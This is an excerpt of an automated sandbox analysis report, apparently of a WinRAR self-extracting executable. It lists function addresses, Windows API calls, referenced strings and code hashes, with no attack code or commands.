Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: AddressProc$CurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 2915667086-2207617598
Opcode ID: 6794cfd2df2083ddb130d433e4ca33b69faefb70ddab7dfcfa84983386d80e8a
Instruction ID: 835941d4451df956dae3a25905658ab8f1667678a258eb28d6ceb992bdad690a
Opcode Fuzzy Hash: 6794cfd2df2083ddb130d433e4ca33b69faefb70ddab7dfcfa84983386d80e8a
Instruction Fuzzy Hash: C231F624E0AA4A80FB24CF17E9585792BA1AFE5B90F045135F86EC77E8FE7CF5458204

Function 00007FF6FE1A87D8 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 415COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A8DB6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A8DC2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A8DCE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A8DDA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A8DE0

Strings

, xrefs: 00007FF6FE1A8A55
, xrefs: 00007FF6FE1A88BE

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: $
API String ID: 3668304517-227171996
Opcode ID: d36d35de43213f8ad8c7125845a4b947406c7f49c70316df392fd487e7cb45ba
Instruction ID: 8736331ee4c4d4c745339ef82da44396d422e9140b9d6122239c17f3f5c6c1c0
Opcode Fuzzy Hash: d36d35de43213f8ad8c7125845a4b947406c7f49c70316df392fd487e7cb45ba
Instruction Fuzzy Hash: E1F1AD62F1574640EF10DB66D4481BC2B62ABE4FA8F505231EA7D93BD9EE7CE188C340

Function 00007FF6FE1B57EC Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 317COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6FE1B598A
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6FE1B5CAD
abort.LIBCMT ref: 00007FF6FE1B5CE1

Strings

csm, xrefs: 00007FF6FE1B59B1
csm, xrefs: 00007FF6FE1B5933
csm, xrefs: 00007FF6FE1B58D1

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Is_bad_exception_allowedabortstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 2940173790-393685449
Opcode ID: 65edb01f61f21fff02eaccc9a46b43a233fa456fccf40e480b66f774ee54b1a7
Instruction ID: 21af108181a095064492407cb24469732c940d6e1000f77d88f29028fa51c47e
Opcode Fuzzy Hash: 65edb01f61f21fff02eaccc9a46b43a233fa456fccf40e480b66f774ee54b1a7
Instruction Fuzzy Hash: 5DE1C472D087828AE710DF66D4803AD7BA6FBA5758F144135EAAD877D6EF38E481C700

Function 00007FF6FE194F38 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 158COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FE194E24: SysAllocString.OLEAUT32 ref: 00007FF6FE194E5F

VariantClear.OLEAUT32 ref: 00007FF6FE195125

Strings

ROOT\CIMV2, xrefs: 00007FF6FE194F7B
SELECT * FROM Win32_OperatingSystem, xrefs: 00007FF6FE195017
WQL, xrefs: 00007FF6FE19502A
Name, xrefs: 00007FF6FE1950F9
Windows 10, xrefs: 00007FF6FE19510A

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: AllocClearStringVariant
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 1959693985-3505469590
Opcode ID: a8b35b7bcd37d82ee4aaa20c3b876beaab518b1de9e1ce59ea14af8b32f1fe8d
Instruction ID: b1c1c8b0d54d2993566e42d6e35a0b61ec1654a34b72e1b9d2caa48787dcc0a6
Opcode Fuzzy Hash: a8b35b7bcd37d82ee4aaa20c3b876beaab518b1de9e1ce59ea14af8b32f1fe8d
Instruction Fuzzy Hash: DA712E76F14A1585EB20CF6AD8905ED7BB4FB98B98B045132EA5D83BA8EF3CD144C310

Function 00007FF6FE1B72EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,00000000,00007FF6FE1B74F3,?,?,?,00007FF6FE1B525E,?,?,?,00007FF6FE1B5219), ref: 00007FF6FE1B7371
GetLastError.KERNEL32(?,?,00000000,00007FF6FE1B74F3,?,?,?,00007FF6FE1B525E,?,?,?,00007FF6FE1B5219), ref: 00007FF6FE1B737F
LoadLibraryExW.KERNEL32(?,?,00000000,00007FF6FE1B74F3,?,?,?,00007FF6FE1B525E,?,?,?,00007FF6FE1B5219), ref: 00007FF6FE1B73A9
FreeLibrary.KERNEL32(?,?,00000000,00007FF6FE1B74F3,?,?,?,00007FF6FE1B525E,?,?,?,00007FF6FE1B5219), ref: 00007FF6FE1B73EF
GetProcAddress.KERNEL32(?,?,00000000,00007FF6FE1B74F3,?,?,?,00007FF6FE1B525E,?,?,?,00007FF6FE1B5219), ref: 00007FF6FE1B73FB

Strings

api-ms-, xrefs: 00007FF6FE1B7391

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: eedfc97f7024c66fbeb39a7219499b253e22696fd1fdab2c5f769bf1fd383016
Instruction ID: 8b9cd580db1ca52638a5f1fec28390caf8ee5d3944bc722543a81112843320ac
Opcode Fuzzy Hash: eedfc97f7024c66fbeb39a7219499b253e22696fd1fdab2c5f769bf1fd383016
Instruction Fuzzy Hash: B6318E21F1B64281EB11EB17A8005B92A95FFA4BA0F194635ED2DCA7E0EF3CE4598710

Function 00007FF6FE1B1604 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 43libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,00007FF6FE1B1573,?,?,?,00007FF6FE1B192A), ref: 00007FF6FE1B162B
GetProcAddress.KERNEL32(?,?,?,00007FF6FE1B1573,?,?,?,00007FF6FE1B192A), ref: 00007FF6FE1B1648
GetProcAddress.KERNEL32(?,?,?,00007FF6FE1B1573,?,?,?,00007FF6FE1B192A), ref: 00007FF6FE1B1664

Strings

ReleaseSRWLockExclusive, xrefs: 00007FF6FE1B1653
AcquireSRWLockExclusive, xrefs: 00007FF6FE1B163E
KERNEL32.DLL, xrefs: 00007FF6FE1B1624

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 4fe35f58cd4175722fa2f4edd42b7d77b08fa8d78ae8e9bf73ccac7c2071e7f8
Instruction ID: 7f6f371c4dbbd964aec900ee623640618cf29ded79570e55436c3157d5cad7a1
Opcode Fuzzy Hash: 4fe35f58cd4175722fa2f4edd42b7d77b08fa8d78ae8e9bf73ccac7c2071e7f8
Instruction Fuzzy Hash: 75113020F19B4285FF64CB07A9401B41AA96FE8798F4E4436F83DC67D5FE7CB4548600

Function 00007FF6FE19ED24 Relevance: 9.1, APIs: 6, Instructions: 120timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FE1951A4: GetVersionExW.KERNEL32 ref: 00007FF6FE1951D5

FileTimeToLocalFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6FE185AB4), ref: 00007FF6FE19ED8C
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6FE185AB4), ref: 00007FF6FE19ED98
SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6FE185AB4), ref: 00007FF6FE19EDA8
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6FE185AB4), ref: 00007FF6FE19EDB6
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6FE185AB4), ref: 00007FF6FE19EDC4
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF6FE185AB4), ref: 00007FF6FE19EE05

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 197518eb8103cda2bd6b54f1f5e99fa721289ee203340eaf45d2c62117a67569
Instruction ID: 7980982263efd5d82b12a5cca5fc4429067e0c036ff572660a1ce6d1d7cd0cf5
Opcode Fuzzy Hash: 197518eb8103cda2bd6b54f1f5e99fa721289ee203340eaf45d2c62117a67569
Instruction Fuzzy Hash: C0517FB2F106518AEB14CFB9D8841AC7BB1F798788B604036EE1D97B98EF38E555C700

Function 00007FF6FE19F010 Relevance: 9.1, APIs: 6, Instructions: 80timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32 ref: 00007FF6FE19F074

Part of subcall function 00007FF6FE1951A4: GetVersionExW.KERNEL32 ref: 00007FF6FE1951D5

LocalFileTimeToFileTime.KERNEL32 ref: 00007FF6FE19F096
FileTimeToSystemTime.KERNEL32 ref: 00007FF6FE19F0A2
TzSpecificLocalTimeToSystemTime.KERNEL32 ref: 00007FF6FE19F0B2
SystemTimeToFileTime.KERNEL32 ref: 00007FF6FE19F0C0
SystemTimeToFileTime.KERNEL32 ref: 00007FF6FE19F0CE

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 93bf5fe4be91675a5f4cba4a2df0f2c5ed0bd126a165fd4d88c3e7d5e64543a6
Instruction ID: 3672ad94516d0cc5f012fe0ec4d2ff7b18a179491d141bfea815766c48b96027
Opcode Fuzzy Hash: 93bf5fe4be91675a5f4cba4a2df0f2c5ed0bd126a165fd4d88c3e7d5e64543a6
Instruction Fuzzy Hash: C7314966F10A519AEB00CFB5D8801AC3771FB58758B54503AEE1ED3A98EF38D895C300

Function 00007FF6FE197918 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 233COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE197C8C

Strings

exe, xrefs: 00007FF6FE1979AF, 00007FF6FE1979BE
rar, xrefs: 00007FF6FE197A9B, 00007FF6FE197AAA, 00007FF6FE197B67, 00007FF6FE197B7C
sfx, xrefs: 00007FF6FE1979F3, 00007FF6FE197A02
.rar, xrefs: 00007FF6FE197969, 00007FF6FE197978

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: .rar$exe$rar$sfx
API String ID: 3668304517-630704357
Opcode ID: 97aafd44a7caf21700e2098a6ceb5321661423453e734b1945fa1e7d2bcd8431
Instruction ID: a9e3e80804151c7f3677e6e4d6250490890462aae60dea1a2602ce4fed3c5bf1
Opcode Fuzzy Hash: 97aafd44a7caf21700e2098a6ceb5321661423453e734b1945fa1e7d2bcd8431
Instruction Fuzzy Hash: 77A17F22E1960640EB04DB26D4952BC2B61BFE5BE8F541235E93E876E9EF3CE549C340

Function 00007FF6FE1B5CE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF6FE1B5D58

Part of subcall function 00007FF6FE1B5210: abort.LIBCMT ref: 00007FF6FE1B5223

_CallSETranslator.LIBVCRUNTIME ref: 00007FF6FE1B5DA3
abort.LIBCMT ref: 00007FF6FE1B5FD1

Strings

RCC, xrefs: 00007FF6FE1B5D74
MOC, xrefs: 00007FF6FE1B5D6C

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: abort$CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 2889003569-2084237596
Opcode ID: 0f4c2d06ef2d655583c55900dbb020dcf620b12558a4295111afe460be181df6
Instruction ID: 5c6ef4bf6780479396ef95fa6771e97c48217f10e0b15b35127a61e37c102ec2
Opcode Fuzzy Hash: 0f4c2d06ef2d655583c55900dbb020dcf620b12558a4295111afe460be181df6
Instruction Fuzzy Hash: 1B919F73E08B818AE711CB66E4802ADBBA1F794788F144129FF5D97B95EF38D195CB00

Function 00007FF6FE1B4F80 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6FE1B4FAB
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6FE1B5040
RtlUnwindEx.KERNEL32(?,?,?,?,?,?,?,00007FF6FE1B2F5E), ref: 00007FF6FE1B508F

Strings

f, xrefs: 00007FF6FE1B4FBE
csm, xrefs: 00007FF6FE1B5026

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: a7c39da158025e753bf36dfb1e051fd0b17def11f5f8def40396cbfe1c046983
Instruction ID: d1579c9f88df29eb2fe5fdd1d473adb56aef35e9b1afe24bfd2cb09d59aa12af
Opcode Fuzzy Hash: a7c39da158025e753bf36dfb1e051fd0b17def11f5f8def40396cbfe1c046983
Instruction Fuzzy Hash: 1B51A332F1960286DB54CF17E444A6D3B66FBA4B88F518134FA2A877C9EF78E8418740

Function 00007FF6FE18CEE0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 139COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6FE18D03D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18D0D1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18D0D7

Part of subcall function 00007FF6FE18DE04: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6FE18CF4B), ref: 00007FF6FE18DE27
Part of subcall function 00007FF6FE18DE04: GetLastError.KERNEL32 ref: 00007FF6FE18DE88
Part of subcall function 00007FF6FE18DE04: CloseHandle.KERNEL32 ref: 00007FF6FE18DE9B

Strings

SeSecurityPrivilege, xrefs: 00007FF6FE18CF3F
SeRestorePrivilege, xrefs: 00007FF6FE18CF5E

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ErrorLast_invalid_parameter_noinfo_noreturn$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 2102711378-639343689
Opcode ID: 87299e3d8371150436d20a5d335114172b85ee8c064b133af49689baa0f6dc88
Instruction ID: 6b3c3e86871ccd3fe0c95bf182eac67785b84c4d65a04bce01e548a83b348c23
Opcode Fuzzy Hash: 87299e3d8371150436d20a5d335114172b85ee8c064b133af49689baa0f6dc88
Instruction Fuzzy Hash: 4651C362F1874685FB10DB66D8412BD2B61AFE57A4F000535FE2D97AD6FE3CA989C200

Function 00007FF6FE1A7B28 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF6FE1A7B6F
GetWindowRect.USER32 ref: 00007FF6FE1A7BC0
ShowWindow.USER32 ref: 00007FF6FE1A7C96
ShowWindow.USER32 ref: 00007FF6FE1A7CC3

Strings

RarHtmlClassName, xrefs: 00007FF6FE1A7C4B

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: Window$Show$Rect
String ID: RarHtmlClassName
API String ID: 2396740005-1658105358
Opcode ID: 7f8a0b662af83a4f47b362c37f36e9414f73daccdb18f375bc1ce0a7ee57f15d
Instruction ID: e77a3f81afaf55551dc88cfe03b287f7b9c57c5896afc765efbd4ee3e0f42b96
Opcode Fuzzy Hash: 7f8a0b662af83a4f47b362c37f36e9414f73daccdb18f375bc1ce0a7ee57f15d
Instruction Fuzzy Hash: 75517322E09B4286EB24DF27E45437A6B61FBE5B80F404435FA5E87B95EF3CE5498700

Function 00007FF6FE1AFD0C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32 ref: 00007FF6FE1AFD43
SetEnvironmentVariableW.KERNEL32 ref: 00007FF6FE1AFDBC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1AFE1B

Strings

sfxpar, xrefs: 00007FF6FE1AFDB5
sfxcmd, xrefs: 00007FF6FE1AFD3C

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: EnvironmentVariable$_invalid_parameter_noinfo_noreturn
String ID: sfxcmd$sfxpar
API String ID: 3540648995-3493335439
Opcode ID: 48e58e823320ee2e30a8ba7f247afa82eb81b269a21fe23b9d6641b37ea74fe4
Instruction ID: 9775a8374be28d52ade21f6d275c0b587e12a78b82a6dff515f1f4d25581e1a5
Opcode Fuzzy Hash: 48e58e823320ee2e30a8ba7f247afa82eb81b269a21fe23b9d6641b37ea74fe4
Instruction Fuzzy Hash: 83316F32F14A0584EB01DB6AE4841BC2771FBE8B98F140231EE6D977E9EE38E045C344

Function 00007FF6FE1AFED4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52COMMON

Download Yara Rule

Strings

RENAMEDLG, xrefs: 00007FF6FE1AFF60
REPLACEFILEDLG, xrefs: 00007FF6FE1AFF34, 00007FF6FE1AFF99

Memory Dump Source

